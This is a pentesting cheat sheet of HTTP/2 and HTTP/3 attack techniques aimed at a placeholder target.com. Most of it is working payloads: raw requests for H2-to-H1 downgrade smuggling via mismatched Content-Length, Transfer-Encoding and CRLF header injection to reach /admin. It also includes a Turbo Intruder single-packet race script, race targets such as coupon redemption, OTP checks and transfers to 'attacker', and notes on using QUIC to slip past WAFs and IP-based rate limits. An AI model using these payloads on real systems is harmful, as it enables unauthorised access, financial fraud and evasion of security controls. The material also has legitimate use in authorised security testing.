HTTP/2 & HTTP/3 Specific Attacks

# HTTP/2 request with mismatched Content-Length
# The front-end processes the H2 frame length (binary, unambiguous)
# But when downgrading to H1, it forwards the Content-Length header as-is

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end sees the full body as part of one request
# The H1 backend sees Content-Length: 0, treats the rest as a NEW request
# Result: The "GET /admin" is processed as a separate request

# HTTP/2 technically forbids Transfer-Encoding, but some front-ends
# still forward it during downgrade

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end ignores Transfer-Encoding (it uses frame lengths)
# After downgrade, the H1 backend processes Transfer-Encoding: chunked
# "0

" terminates the chunked body, smuggling the second request

# HTTP/2 headers are binary — they CAN contain characters
# that would be invalid in HTTP/1.1 (like 
)
# During downgrade, these become header injections

# In Burp Suite (HTTP/2 Inspector), set a header value containing CRLF:
:method: GET
:path: /
:authority: target.com
header: value
Injected-Header: evil

GET /admin HTTP/1.1
Host: target.com

# After H2→H1 downgrade, the backend sees:
# header: value
# Injected-Header: evil
#
# GET /admin HTTP/1.1
# Host: target.com

# This is a powerful primitive for request smuggling and header injection

# Single-packet attack using Turbo Intruder (Burp extension)
# This sends 20+ requests in a single TCP packet for race condition exploitation

# Turbo Intruder script for single-packet attack:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False,
                           engine=Engine.HTTP2)
    
    # Queue requests that should arrive simultaneously
    for i in range(20):
        engine.queue(target.req, gate='race1')
    
    # Open the gate — all requests sent in one packet
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

# Race condition targets worth testing with single-packet attack:

# 1. Coupon/discount code redemption
POST /api/apply-coupon HTTP/2
Content-Type: application/json
{"code": "DISCOUNT50"}

# 2. Rate-limited actions (password reset, OTP verification)
POST /api/verify-otp HTTP/2
Content-Type: application/json
{"otp": "123456"}

# 3. Balance/transfer operations
POST /api/transfer HTTP/2
Content-Type: application/json
{"to": "attacker", "amount": 100}

# 4. File/resource creation (race to create duplicate unique resources)
POST /api/claim-username HTTP/2
Content-Type: application/json
{"username": "admin"}

# Detect HTTP/3 support
curl -sI https://target.com | grep -i alt-svc
# Look for: alt-svc: h3=":443"; ma=86400

# Test with HTTP/3 (requires curl built with HTTP/3 support)
curl --http3 -v https://target.com

# QUIC-specific considerations:
# 1. UDP-based — different firewall/IDS rules may apply
#    Some WAFs only inspect TCP traffic, missing QUIC entirely
# 2. Connection migration — QUIC connections survive IP changes
#    Could bypass IP-based rate limiting
# 3. 0-RTT resumption — replay attacks possible
#    Server must implement anti-replay for 0-RTT data

# Using quiche (Cloudflare's QUIC implementation) for testing:
cargo build --examples
./target/debug/examples/http3-client https://target.com/

# Nmap QUIC detection:
nmap -sU -p 443 --script=http3-supported target.com